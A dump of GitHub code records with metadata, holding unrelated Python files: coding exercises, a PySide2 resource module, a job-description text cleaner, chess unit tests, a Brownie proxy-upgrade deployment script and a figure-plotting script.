###\r\n'''\r\n","repo_name":"Exilio016/Image-Compression","sub_path":"src/Huffman.py","file_name":"Huffman.py","file_ext":"py","file_size_in_byte":17226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20603655073","text":"class Solution:\n def cellsInRange(self, s: str) -> List[str]:\n result=list()\n alpha='ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n startIndex=alpha.index(s[0])\n while(True):\n for j in range(int(s[1]),int(s[4])+1):\n result.append(alpha[startIndex]+str(j))\n if alpha[startIndex]==s[3]:\n break\n startIndex+=1\n return result","repo_name":"winterdrive/myLeetHub","sub_path":"2194-cells-in-a-range-on-an-excel-sheet/2194-cells-in-a-range-on-an-excel-sheet.py","file_name":"2194-cells-in-a-range-on-an-excel-sheet.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"412076702","text":"# -*- coding: utf-8 -*-\r\n\r\n# Resource object code\r\n#\r\n# Created: Wed Jun 3 18:06:28 2020\r\n# by: The Resource Compiler for PySide2 (Qt v5.12.6)\r\n#\r\n# WARNING! All changes made in this file will be lost!\r\n\r\nfrom PySide2 import QtCore\r\n\r\nqt_resource_data = b\"\\\r\n\\x00\\x00\\x06\\x05\\\r\n<\\\r\n?xml version=\\x221.\\\r\n0\\x22?>\\x0a\\x0a\\x0a\\\r\n \\x0a\\\r\n \\x0a \\\r\n \\x0a \\\r\n \\x0a \\\r\n \\x0a\\\r\n \\\r\n\\x0a \\\r\n \\x0a \\\r\n \\x0a \\\r\n \\\r\n \\x0a \\\r\n \\\r\n\\x0a \\\r\n \\x0a \\\r\n <\\\r\n/xsd:complexType\\\r\n>\\x0a \\\r\n \\\r\n\\x0a \\x0a \\\r\n \\x0a \\x0a\\x0a \\\r\n\\x0a \\\r\n\\x0a \\\r\n \\x0a \\x0a \\\r\n\\x0a\\x0a \\x0a \\\r\n\\x0a \\\r\n \\x0a\\\r\n \\x0a \\\r\n \\\r\n\\x0a \\\r\n \\x0a \\\r\n \\x0a \\\r\n \\\r\n \\x0a \\\r\n \\x0a \\\r\n \\x0a \\x0a \\\r\n \\x0a\\x0a\\x0a\\\r\n\\x00\\x00\\x03\\xbb\\\r\n<\\\r\n?xml version=\\x221.\\\r\n0\\x22?>\\x0a\\x0a\\x0a\\\r\n \\\r\n\\x0a \\x0a \\\r\n \\x0a \\\r\n \\x0a \\\r\n \\x0a \\\r\n \\x0a \\\r\n \\x0a \\\r\n \\x0a \\\r\n \\x0a \\x0a\\\r\n \\x0a\\x0a \\x0a \\\r\n \\x0a\\\r\n \\x0a \\\r\n \\x0a \\\r\n \\x0a\\\r\n \\x0a \\\r\n \\x0a \\x0a\\x0a\\x0a\\\r\n\\x00\\x00\\x02U\\\r\n<\\\r\nrecipe>\\x0a Cheese on Toa\\\r\nst\\x0a <\\\r\ningredient name=\\\r\n\\x22Bread\\x22 quantity\\\r\n=\\x222\\x22 unit=\\x22slice\\\r\ns\\x22/>\\x0a \\x0a\\\r\n \\x0a\\\r\n \\x0a\\x0a\\x0a\\\r\n\"\r\n\r\nqt_resource_name = b\"\\\r\n\\x00\\x0c\\\r\n\\x08\\x13\\x87\\xf4\\\r\n\\x00s\\\r\n\\x00c\\x00h\\x00e\\x00m\\x00a\\x00_\\x001\\x00.\\x00x\\x00s\\x00d\\\r\n\\x00\\x0c\\\r\n\\x08\\x10\\x87\\xf4\\\r\n\\x00s\\\r\n\\x00c\\x00h\\x00e\\x00m\\x00a\\x00_\\x000\\x00.\\x00x\\x00s\\x00d\\\r\n\\x00\\x0e\\\r\n\\x00sJ\\x1c\\\r\n\\x00i\\\r\n\\x00n\\x00s\\x00t\\x00a\\x00n\\x00c\\x00e\\x00_\\x003\\x00.\\x00x\\x00m\\x00l\\\r\n\\x00\\x0e\\\r\n\\x00rJ\\x1c\\\r\n\\x00i\\\r\n\\x00n\\x00s\\x00t\\x00a\\x00n\\x00c\\x00e\\x00_\\x004\\x00.\\x00x\\x00m\\x00l\\\r\n\\x00\\x0e\\\r\n\\x00yJ\\x1c\\\r\n\\x00i\\\r\n\\x00n\\x00s\\x00t\\x00a\\x00n\\x00c\\x00e\\x00_\\x001\\x00.\\x00x\\x00m\\x00l\\\r\n\\x00\\x0e\\\r\n\\x00pJ\\x1c\\\r\n\\x00i\\\r\n\\x00n\\x00s\\x00t\\x00a\\x00n\\x00c\\x00e\\x00_\\x002\\x00.\\x00x\\x00m\\x00l\\\r\n\\x00\\x0e\\\r\n\\x00uJ\\x1c\\\r\n\\x00i\\\r\n\\x00n\\x00s\\x00t\\x00a\\x00n\\x00c\\x00e\\x00_\\x005\\x00.\\x00x\\x00m\\x00l\\\r\n\\x00\\x0e\\\r\n\\x00vJ\\x1c\\\r\n\\x00i\\\r\n\\x00n\\x00s\\x00t\\x00a\\x00n\\x00c\\x00e\\x00_\\x000\\x00.\\x00x\\x00m\\x00l\\\r\n\\x00\\x0c\\\r\n\\x08\\x16\\x87\\xf4\\\r\n\\x00s\\\r\n\\x00c\\x00h\\x00e\\x00m\\x00a\\x00_\\x002\\x00.\\x00x\\x00s\\x00d\\\r\n\"\r\n\r\nqt_resource_struct = b\"\\\r\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x09\\x00\\x00\\x00\\x01\\\r\n\\x00\\x00\\x00\\xa2\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x0e\\xfc\\\r\n\\x00\\x00\\x00^\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x0c!\\\r\n\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x09\\xc8\\\r\n\\x00\\x00\\x00\\xc4\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x11%\\\r\n\\x00\\x00\\x00\\xe6\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x12W\\\r\n\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x0d\\xdb\\\r\n\\x00\\x00\\x00\\x1e\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x06\\x09\\\r\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\\r\n\\x00\\x00\\x01\\x08\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x13\\x85\\\r\n\"\r\n\r\ndef qInitResources():\r\n QtCore.qRegisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)\r\n\r\ndef qCleanupResources():\r\n QtCore.qUnregisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)\r\n\r\nqInitResources()\r\n","repo_name":"WinsingAaron/dev-platform","sub_path":"python/centos7-python-3.7.5/lib/python3.7/site-packages/PySide2/examples/xmlpatterns/schema/schema_rc.py","file_name":"schema_rc.py","file_ext":"py","file_size_in_byte":10221,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"10192876187","text":"def clear_info(j):\r\n english_num = ['zero', 'one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine']\r\n j = str(j)\r\n j = j.lower()\r\n if len(j) ==1 and j.isnumeric():\r\n return j\r\n else:\r\n j = j.replace('20-40', '替换年龄')\r\n j = j.replace('.net', '替换网络')\r\n j = j.replace('4000-7000', '替换收入')\r\n j = j.replace('2-3', '替换编程经验')\r\n j = j.replace('4-10', '替换单休')\r\n j = j.replace('30-40', '替换岁数')\r\n j = j.replace('6-15', '替换工资')\r\n j = j.replace('1-2', '替换工作经验')\r\n j = j.replace('二年', '替换两年')\r\n j = j.replace('一年', '替换医年')\r\n for o in range(10):\r\n j = j.replace('{}年'.format(o), '替换工作{}year'.format(english_num[o]))\r\n j = j.strip(',、.;?、 123456×7890*()<1>(),【一■二◆!~:》·\"●①②③④⑤⑥⑦⑧⑨')\r\n j = j.strip(',、.;?1234×567890、。 <1>((,一.】;■二◆!\"')\r\n j = j.strip('.?- ~')\r\n j = j.replace('替换年龄', '20-40')\r\n j = j.replace('替换网络', '.net', )\r\n j = j.replace('替换收入', '4000-7000', )\r\n j = j.replace('替换编程经验', '2-3', )\r\n j = j.replace('替换单休', '4-10', )\r\n j = j.replace('替换工资', '6-15', )\r\n j = j.replace('替换岁数', '30-40')\r\n j = j.replace('替换工作经验', '1-2')\r\n j = j.replace('替换两年', '二年')\r\n j = j.replace('替换医年', '一年')\r\n for o in range(10):\r\n j = j.replace('替换工作{}year'.format(english_num[o]), '{}年'.format(o))\r\n return j\r\ndef jd_rum_revise(i):\r\n description = ['主要职责:', '岗位职责', '工作内容', '职位描述', '职位简介', 'job description',\r\n '工作职责', 'responsibili', '请了解我们', '我们需要你做这些事', '具体要求']\r\n requirement = ['任职资格', '任职要求', '招聘要求', '必备技能', '岗位要求', '工作责任'\r\n '职位要求', '资格', '要求', '岗位要求', '任职资格', 'requirement',\r\n '我们希望你有这些能力']\r\n skip_list = ['其他', '福利', '薪酬', '联系', '您将得到', '为您提供', '强调:'\r\n , '公司提供', 'About', '薪资', '具体薪资', '联系人', '工作地点', '即可找到']\r\n judge_list = ['熟悉', '熟练', '掌握', '辅助', '相关专业']\r\n index_des, index_req, index_znlb, index_kword, index_skip = 7777, 7777, 7777, 7777, 7777\r\n new_description = []\r\n skill_judgement = 7777\r\n if 'job_description' not in str(i):\r\n i['job_description'] = i['jd']\r\n del i['jd']\r\n for j in i['job_description']:\r\n j = str(j)\r\n for k in description:\r\n if k in j:\r\n index_des = i['job_description'].index(j)\r\n for k in requirement:\r\n if k in j:\r\n index_req = i['job_description'].index(j)\r\n if '职能类别' in j:\r\n index_znlb = i['job_description'].index(j)\r\n if '关键字' in j:\r\n index_kword = i['job_description'].index(j)\r\n for k in skip_list:\r\n if k in j:\r\n if '日本' not in j:\r\n if index_skip == 7777:\r\n index_skip = i['job_description'].index(j)\r\n if (index_skip < index_req) or (index_skip < index_des):\r\n index_skip = 7777\r\n for k in judge_list:\r\n if k in j:\r\n if skill_judgement == 7777:\r\n skill_judgement = 9999\r\n j = clear_info(j)\r\n # if j == '':\r\n # continue\r\n # else:\r\n # new_description.append(j)\r\n # f2.write(j+'\\n')\r\n new_description = i['job_description']\r\n if index_kword != 7777:\r\n i['key_word'] = new_description[int(index_kword) + 1:]\r\n i['job_cat'] = new_description[int(index_znlb) + 1:int(index_kword)]\r\n else:\r\n i['job_cat'] = new_description[int(index_znlb) + 1:]\r\n i['key_word'] = ''\r\n if index_skip != 7777:\r\n index_znlb = index_skip\r\n if index_des != 7777:\r\n if index_req != 7777: # 能找到des和request的的索引\r\n if int(index_des) < int(index_req):\r\n i['job_duty'] = new_description[int(index_des) + 1:int(index_req)]\r\n i['job_skill'] = new_description[int(index_req) + 1:int(index_znlb)]\r\n else:\r\n i['job_duty'] = new_description[int(index_des) + 1:int(index_znlb)]\r\n i['job_skill'] = new_description[int(index_req) + 1:int(index_des)]\r\n else:\r\n i['job_duty'] = new_description[int(index_des) + 1:int(index_znlb)]\r\n i['job_skill'] = ''\r\n elif index_des == 7777:\r\n if index_req != 7777: # 能找到request的的索引\r\n i['job_skill'] = new_description[int(index_req) + 1:int(index_znlb)]\r\n i['job_duty'] = new_description[0:int(index_req)]\r\n elif skill_judgement == 7777:\r\n i['job_duty'] = new_description[0:int(index_znlb)]\r\n i['job_skill'] = ''\r\n else:\r\n i['job_duty'] = ''\r\n i['job_skill'] = new_description[0:int(index_znlb)]\r\n else:\r\n if index_des != 7777:\r\n if index_req != 7777: # 能找到des和request的的索引\r\n if int(index_des) < int(index_req):\r\n i['job_duty'] = new_description[int(index_des) + 1:int(index_req)]\r\n i['job_skill'] = new_description[int(index_req) + 1:int(index_skip)]\r\n else:\r\n i['job_duty'] = new_description[int(index_des) + 1:int(index_skip)]\r\n i['job_skill'] = new_description[int(index_req) + 1:int(index_des)]\r\n else:\r\n i['job_duty'] = new_description[int(index_des) + 1:int(index_skip)]\r\n i['job_skill'] = ''\r\n else:\r\n if index_req != 7777: # 能找到request的的索引\r\n i['job_skill'] = new_description[int(index_req) + 1:int(index_skip)]\r\n i['job_duty'] = new_description[0:int(index_req)]\r\n elif skill_judgement == 7777:\r\n i['job_duty'] = new_description[0:int(index_skip)]\r\n i['job_skill'] = ''\r\n else:\r\n i['job_duty'] = ''\r\n i['job_skill'] = new_description[0:int(index_skip)]\r\n if ('' in i['job_duty']) and (len(i['job_duty']) > 1):\r\n i['job_duty'].remove('')\r\n if ('' in i['job_skill']) and (len(i['job_skill']) > 1):\r\n i['job_skill'].remove('')\r\n del i['job_description']\r\n new_duty = []\r\n new_skill = []\r\n for j in i['job_duty']:\r\n j = clear_info(j)\r\n if j == '':\r\n continue\r\n else:\r\n new_duty.append(j)\r\n i['job_duty'] = new_duty\r\n for j in i['job_skill']:\r\n j = clear_info(j)\r\n if j == '':\r\n continue\r\n else:\r\n new_skill.append(j)\r\n i['job_skill'] = new_skill\r\n return i\r\n","repo_name":"zhaolei1030/data-analysis","sub_path":"data_clean/jd_rum_revise.py","file_name":"jd_rum_revise.py","file_ext":"py","file_size_in_byte":7254,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"24324901478","text":"#!/usr/bin/env python3\nimport unittest, utils\n\n\nclass TestUtils(unittest.TestCase):\n\n CELL_REF_TO_EXPECTED_POS_EXAMPLES = {\n \"A1\": [1, 1],\n \"B1\": [1, 2],\n \"H1\": [1, 8],\n \"A2\": [2, 1],\n \"H2\": [2, 8],\n \"A8\": [8, 1],\n \"B8\": [8, 2],\n \"H8\": [8, 8]}\n\n\n def test_cell_ref_to_pos(self):\n \"\"\"\n Test to ensure that cell references are converted to appropriate position lists.\n \"\"\"\n for cell_ref, expected_pos in TestUtils.CELL_REF_TO_EXPECTED_POS_EXAMPLES.items():\n self.assertEqual(utils.cell_ref_to_pos(cell_ref), expected_pos)\n\n\n def test_pos_to_cell_ref(self):\n \"\"\"\n Test to ensure that position lists are converted to appropriate cell references.\n \"\"\"\n # invert dict and use tuples rather than lists for key as lists are not hashable\n test_input_pos_to_expected_cell_ref = {\n tuple(v): k for k, v in TestUtils.CELL_REF_TO_EXPECTED_POS_EXAMPLES.items()}\n\n for pos, expected_cell_ref in test_input_pos_to_expected_cell_ref.items():\n self.assertEqual(utils.pos_to_cell_ref(list(pos)), expected_cell_ref)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Prosserc/python_chess","sub_path":"unit_tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"13673722898","text":"def main():\r\n \r\n name_of_file = (input(\"File Name : \"))\r\n f = open(name_of_file, \"r\")\r\n counter = 0\r\n user_number = 0\r\n x = 0\r\n num = 3\r\n f_content = f.read()\r\n# amount of lines in file\r\n for i in f_content:\r\n if i == \"\\n\":\r\n counter += 1\r\n print(f\"The file has {counter} lines.\")\r\n f.close()\r\n#enter a line \r\n while x == 0:\r\n user_number = input(\"Enter a line number [0 to exit]: \")\r\n user_number = int(user_number)\r\n \r\n if user_number == 0:\r\n exit()\r\n if counter >= user_number > 0:\r\n break\r\n elif user_number > counter or user_number < 0:\r\n print(f\"ERROR: line number must be less than {(counter)}\")\r\n continue\r\n \r\n# print wanted line \r\n with open(name_of_file) as f:\r\n i = 1\r\n for line in f:\r\n if i == user_number:\r\n break\r\n \r\n i += 1\r\n print(line)\r\n \r\n \r\nif __name__ == \"__main__\":\r\n main()","repo_name":"lpsnedhead/CS-1400","sub_path":"mindtap/5_2/5_1.py","file_name":"5_1.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6703499714","text":"from brownie.network.contract import Contract\nfrom scripts.helpful_scripts import get_account, encode_function_data, upgrade\nfrom brownie import (\n network,\n Box,\n ProxyAdmin,\n TransparentUpgradeableProxy,\n Contract,\n BoxV2,\n)\n\n\ndef main():\n account = get_account()\n print(f\"Deploying to {network.show_active()}\")\n box = Box.deploy({\"from\": account}, publish_source=True)\n # print(box.retrieve())\n\n # if you do have a proxy admin and use some type of defi protocol, proxy admin shoud be a type of multisig e.g. Gnosis-safe, (not done here)\n\n proxy_admin = ProxyAdmin.deploy({\"from\": account}, publish_source=True)\n\n # initializer = box.store, 1\n box_encoded_initializer_function = encode_function_data()\n\n proxy = TransparentUpgradeableProxy.deploy(\n box.address,\n proxy_admin.address,\n box_encoded_initializer_function,\n {\"from\": account, \"gas_limit\": 1000000},\n publish_source=True,\n )\n print(f\"Proxy deployed to {proxy}, you can now upgrade to v2!\")\n proxy_box = Contract.from_abi(\"Box\", proxy.address, Box.abi)\n proxy_box.store(1, {\"from\": account})\n # print(proxy_box.retrieve())\n # upgrade\n box_v2 = BoxV2.deploy({\"from\": account}, publish_source=True)\n upgrade_transaction = upgrade(\n account, proxy, box_v2.address, proxy_admin_contract=proxy_admin\n )\n upgrade_transaction.wait(1)\n print(\"Proxy has been upgraded!\")\n proxy_box = Contract.from_abi(\"BoxV2\", proxy.address, BoxV2.abi)\n proxy_box.increment({\"from\": account})\n print(proxy_box.retrieve())\n","repo_name":"smughal55/upgrades","sub_path":"scripts/deploy_and_upgrade.py","file_name":"deploy_and_upgrade.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13723076173","text":"from canvas import *\nimport diplib\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport sys\n\n\nUSE50 = True\nUSE53 = True\nUSE60 = True\nDRAFT = False\nc = Canvas(6.9, 7.0, fontsize=8)\n\nfor MONKEY in [\"Q\", \"P\"]:\n if MONKEY == \"Q\":\n HC,MC,LC = 70, 60, 53\n offset = 3.4\n elif MONKEY == \"P\":\n HC,MC,LC = 63, 57, 52\n offset = 0\n c.add_axis(\"all_rts\"+MONKEY, Point(.6, 2.2+offset, \"absolute\"), Point(6.5, 3.2+offset, \"absolute\"))\n c.add_grid([\"data\"+MONKEY, (\"ddm\"+MONKEY if MONKEY == \"P\" else None)], 1, Point(3, .5+offset, \"absolute\"), Point(6.5, 1.7+offset, \"absolute\"), size=Vector(1.2, 1.2, \"absolute\"))\n \n rts = diplib.spikes_df(MONKEY)\n if MONKEY == \"Q\":\n diplib.make_gridlegend(c, Point(0, .2, \"axis_data\"+MONKEY)-Vector(2.3, 0, \"absolute\"))\n \n ##################### All RTs ####################\n \n SMOOTH = 5\n ax = c.ax(\"all_rts\"+MONKEY)\n for coh in [LC, MC, HC]:\n for ps in [0, 400, 800]:\n ax.plot(*diplib.get_rt_conditional_activity(monkey=MONKEY, coh=coh, ps=ps, smooth=SMOOTH, time_range=(-200, 1400), align=\"presample\"), color=diplib.get_color(coh=coh, ps=ps))\n \n ax.set_title(\"RT distribution (presample-aligned)\")\n ax.set_xticklabels([\"\", \"0\", \"\", \"400\", \"\", \"800\"])\n ax.set_ylabel(\"RT histogram\")\n if MONKEY == \"Q\":\n ax.set_yticks([0, 2, 4, 6, 8])\n ax.set_ylim(0, 8)\n elif MONKEY == \"P\":\n ax.set_yticks([0, .5, 1])\n ax.set_ylim(0, 1.4)\n \n ax.set_xlim(-.2, 1.4225)\n ax.xaxis.set_minor_locator(plt.matplotlib.ticker.AutoMinorLocator(2))\n \n loffset = Width(.03, \"absolute\")\n ax.axvline(0, color='k', linestyle=\"-\")\n c.add_text(\"Presample\\nstart\", -loffset+Point(-.005, 0, \"all_rts\"+MONKEY) >> Point(0, 1, \"axis_all_rts\"+MONKEY), color='k', horizontalalignment=\"right\", verticalalignment=\"top\")\n ax.axvline(0, color=diplib.get_color(ps=0, coh=HC), linestyle=\"--\")\n c.add_text(\"Sample\\nstart\\n(0 ms PS)\", loffset+Point(.005, 0, \"all_rts\"+MONKEY) >> Point(0, 1, \"axis_all_rts\"+MONKEY), color=diplib.get_color(ps=0, coh=HC), horizontalalignment=\"left\", verticalalignment=\"top\")\n ax.axvline(.4, color=diplib.get_color(ps=400, coh=HC), linestyle=\"--\")\n c.add_text(\"Sample\\nstart\\n(400 ms PS)\", loffset+Point(.4, 0, \"all_rts\"+MONKEY) >> Point(0, 1, \"axis_all_rts\"+MONKEY), color=diplib.get_color(ps=400, coh=HC), horizontalalignment=\"left\", verticalalignment=\"top\")\n ax.axvline(.8, color=diplib.get_color(ps=800, coh=HC), linestyle=\"--\")\n c.add_text(\"Sample\\nstart\\n(800 ms PS)\", loffset+Point(.8, 0, \"all_rts\"+MONKEY) >> Point(0, 1, \"axis_all_rts\"+MONKEY), color=diplib.get_color(ps=800, coh=HC), horizontalalignment=\"left\", verticalalignment=\"top\")\n \n ax.axvspan(.75, 1.08, color=diplib.get_color(ps=800, coh=HC), alpha=.1, zorder=-1)\n c.add_text(\"Time from presample (ms)\", Point(1, -.07, \"axis_all_rts\"+MONKEY), horizontalalignment=\"right\", verticalalignment=\"top\")\n \n sns.despine(ax=ax)\n \n \n #################### RTs (800ms) ####################\n print(\"Starting data\")\n ax = c.ax(\"data\"+MONKEY)\n \n SMOOTH = 5\n T, activity70 = diplib.get_rt_conditional_activity(monkey=MONKEY, coh=HC, ps=800, smooth=SMOOTH, time_range=(-200, 500), align=\"sample\")\n ax.plot(T, activity70, c=diplib.get_color(ps=800, coh=HC))\n if not DRAFT:\n bounds70 = diplib.bootstrap_rts_ci(monkey=MONKEY, N=1000, coh=HC, ps=800, time_range=(-200, 500), seed=1, smooth=SMOOTH)\n ax.fill_between(T, bounds70[0,:], bounds70[1,:], color=diplib.get_color(ps=800, coh=HC), alpha=.4)\n if USE60:\n activity60 = diplib.get_rt_conditional_activity(monkey=MONKEY, coh=MC, ps=800, smooth=SMOOTH, time_range=(-200, 500), align=\"sample\")[1]\n ax.plot(T, activity60, c=diplib.get_color(ps=800, coh=MC))\n if not DRAFT:\n bounds60 = diplib.bootstrap_rts_ci(monkey=MONKEY, N=1000, coh=MC, ps=800, smooth=SMOOTH, time_range=(-200, 500), seed=1)\n ax.fill_between(T, bounds60[0,:], bounds60[1,:], color=diplib.get_color(ps=800, coh=MC), alpha=.4)\n \n if USE50:\n activity50 = diplib.get_rt_conditional_activity(monkey=MONKEY, coh=50, smooth=SMOOTH, time_range=(600, 1300), align=\"presample\")[1]\n ax.plot(T, activity50, c=diplib.get_color(ps=800, coh=50))\n if not DRAFT:\n bounds50 = diplib.bootstrap_rts_ci(monkey=MONKEY, N=1000, coh=50, time_range=(600, 1300), smooth=SMOOTH, align=\"presample\", seed=1)\n ax.fill_between(T, bounds50[0,:], bounds50[1,:], color=diplib.get_color(ps=800, coh=50), alpha=.4)\n #sigs = diplib.bootstrap_rts_significance(params1=dict(monkey=MONKEY, coh=50, time_range=(600, 1300), align=\"presample\"), params2=dict(monkey=MONKEY, coh=HC, ps=800, align=\"sample\", time_range=(-200, 500)), N=500, seed=1)\n \n if USE53:\n activity53 = diplib.get_rt_conditional_activity(monkey=MONKEY, coh=LC, ps=800, smooth=SMOOTH, time_range=(-200, 500), align=\"sample\")[1]\n ax.plot(T, activity53, c=diplib.get_color(ps=800, coh=LC))\n if not DRAFT:\n bounds53 = diplib.bootstrap_rts_ci(monkey=MONKEY, N=1000, coh=LC, ps=800, smooth=SMOOTH, time_range=(-200, 500), seed=1)\n ax.fill_between(T, bounds53[0,:], bounds53[1,:], color=diplib.get_color(ps=800, coh=LC), alpha=.4)\n sigs = diplib.bootstrap_rts_significance(params1=dict(monkey=MONKEY, coh=LC, ps=800, time_range=(-200, 500)), params2=dict(monkey=MONKEY, coh=HC, ps=800, time_range=(-200, 500)), N=500, seed=1)\n \n \n ax.set_xlim(-.05, .28)\n ax.set_xticks([0, .1, .2])\n ax.set_xticklabels([0, 100, 200])\n if MONKEY == \"Q\":\n ax.set_ylim(0, 1.3)\n ax.set_yticks([0, 1])\n else:\n ax.set_ylim(0, .12)\n ax.set_yticks([0, .05, .1])\n \n ax.set_xlabel(\"Time from sample (ms)\")\n if not DRAFT:\n diplib.plot_significance(c, \"data\"+MONKEY, T[(sigs<.01) & (T > -.05) & (T < .28)], dx=T[1]-T[0])\n ax.axvline(0, color=diplib.get_color(ps=800, coh=HC), linestyle=\"--\")\n sns.despine(right=False, top=False, ax=ax)\n ax.set_ylabel(\"RT histogram\")\n #ax.axvspan(-.05, .28, color=diplib.get_color(ps=800, coh=HC), alpha=.1)\n if MONKEY == \"Q\":\n c.add_arrow(Point(.06, .06, (\"data\"+MONKEY, \"axis_data\"+MONKEY)), Point(.13, .12, \"data\"+MONKEY))\n else:\n c.add_arrow(Point(.06, .06, (\"data\"+MONKEY, \"axis_data\"+MONKEY)), Point(.13, .02, \"data\"+MONKEY))\n \n c.add_text(\"Dip\", Point(.03, .06, (\"data\"+MONKEY, \"axis_data\"+MONKEY)))\n \n \n #################### DDM (800ms) ####################\n if MONKEY == \"P\":\n print(\"Starting DDM\")\n \n ax = c.ax(\"ddm\"+MONKEY)\n N_trials = 500\n T, activity70 = diplib.get_ddm_conditional_rts(coh=HC, ps=800, time_range=(-200, 500))\n ax.plot(T, activity70, c=diplib.get_color(ps=800, coh=HC))\n if USE50:\n activity50 = diplib.get_ddm_conditional_rts(coh=50, ps=800, time_range=(-200, 500))[1]\n ax.plot(T, activity50, c=diplib.get_color(ps=800, coh=50))\n \n if USE53:\n activity53 = diplib.get_ddm_conditional_rts(coh=LC, ps=800, time_range=(-200, 500))[1]\n ax.plot(T, activity53, c=diplib.get_color(ps=800, coh=LC))\n \n if USE60:\n activity60 = diplib.get_ddm_conditional_rts(coh=MC, ps=800, time_range=(-200, 500))[1]\n ax.plot(T, activity60, c=diplib.get_color(ps=800, coh=MC))\n \n ax.set_ylim(0, 1.3)\n ax.set_xlim(-.05, .28)\n ax.set_xticks([0, .1, .2])\n ax.set_xticklabels([0, 100, 200])\n ax.set_yticks([0, 1])\n ax.set_xlabel(\"Time from sample (ms)\")\n sns.despine(right=False, top=False, ax=ax)\n \n c.add_text(\"GDDM RT prediction\", Point(.5, 1.1, \"axis_ddmP\"), weight=\"bold\", size=9)\n \n c.add_arrow(Point(.2, .25, \"axis_ddm\"+MONKEY), Point(.8, .55, \"axis_ddm\"+MONKEY))\n c.add_text(\"Monotonic\\nincrease\", Point(.2, .25, \"axis_ddm\"+MONKEY)+Vector(0, 0.06, \"inches\"), rotation=27, horizontalalignment=\"left\", verticalalignment=\"bottom\")\n \n \n \n #################### Connecting lines ####################\n \n c.add_poly([Point(.75, 0, \"all_rts\"+MONKEY) >> Point(0, 0, \"axis_all_rts\"+MONKEY),\n Point(0, 1, \"axis_data\"+MONKEY),\n Point(1, 1, \"axis_data\"+MONKEY),\n Point(1.08, 0, \"all_rts\"+MONKEY) >> Point(0, 0, \"axis_all_rts\"+MONKEY)],\n facecolor=diplib.get_color(ps=800, coh=HC), alpha=.1, fill=True, edgecolor='k')\n\n\nc.add_text(\"Monkey 1\", Point(0, 1, \"axis_all_rtsQ\") + Vector(-1.4, .45, \"cm\"), weight=\"bold\", size=9, ha=\"left\")\nc.add_text(\"Monkey 2\", Point(0, 1, \"axis_all_rtsP\") + Vector(-1.4, .45, \"cm\"), weight=\"bold\", size=9, ha=\"left\")\n\nc.add_figure_labels([(\"a\", \"all_rtsQ\", Vector(-.5, -.3, \"cm\")),\n (\"b\", \"dataQ\", Vector(0, -.3, \"cm\")),\n (\"c\", \"all_rtsP\", Vector(-.5, -.3, \"cm\")),\n (\"d\", \"dataP\", Vector(0, -.3, \"cm\")),\n (\"e\", \"ddmP\", Vector(0, -.3, \"cm\"))])\n\nc.save(f\"figure2.pdf\")\n","repo_name":"mwshinn/figures_from_dip_paper","sub_path":"figure2.py","file_name":"figure2.py","file_ext":"py","file_size_in_byte":9095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33833548450","text":"#!usr/bin/env python\r\n# coding=utf-8\r\n\r\n# 输入:列表list\r\n# 输出:list的子列表中,和最大的子列表(最少为一个元素)以及sum值\r\n# 1.常规实现 2.尽量优化(未完成)\r\nimport time\r\nfrom memory_profiler import profile\r\n\r\n\r\ndata = [-1, -2, -1, 1, -2, 3, -1, 2, -3, 2]\r\n\r\n\r\n@profile()\r\ndef max_1(lt):\r\n max_sum = 0\r\n max_list = []\r\n for i in range(len(lt)):\r\n for j in range(len(lt) + 1):\r\n # list[i: j]遍历所有子列表,但是有较多空集\r\n if lt[i: j] == []:\r\n continue\r\n if sum(lt[i: j]) > max_sum:\r\n max_sum = sum(lt[i: j])\r\n max_list = lt[i: j]\r\n print('最大的和为 %d' % max_sum + ',列表为 %s' % max_list)\r\n\r\n\r\nif __name__ == '__main__':\r\n start = time.process_time()\r\n max_1(data)\r\n end = time.process_time()\r\n print('运行时间为 %f' % (end-start))\r\n","repo_name":"FlyingBirdSwim/Python","sub_path":"other_code/max_of_sum.py","file_name":"max_of_sum.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7937109501","text":"A = [1, 2, 1, 3, 2, 4, 2, 5, 4, 6, 5, 6, 6, 7, 3, 7]\nprint(A)\n\nG = [[] for _ in range(8)]\nfor i in range(len(A)//2):\n G[A[2 * i]].append(A[2 * i + 1])\n G[A[2 * i + 1]].append(A[2 * i])\nprint(G)\n\ndef DFS(G, start):\n v = []\n s = [start]\n\n while s:\n n = s.pop()\n if n not in v:\n v.append(n)\n 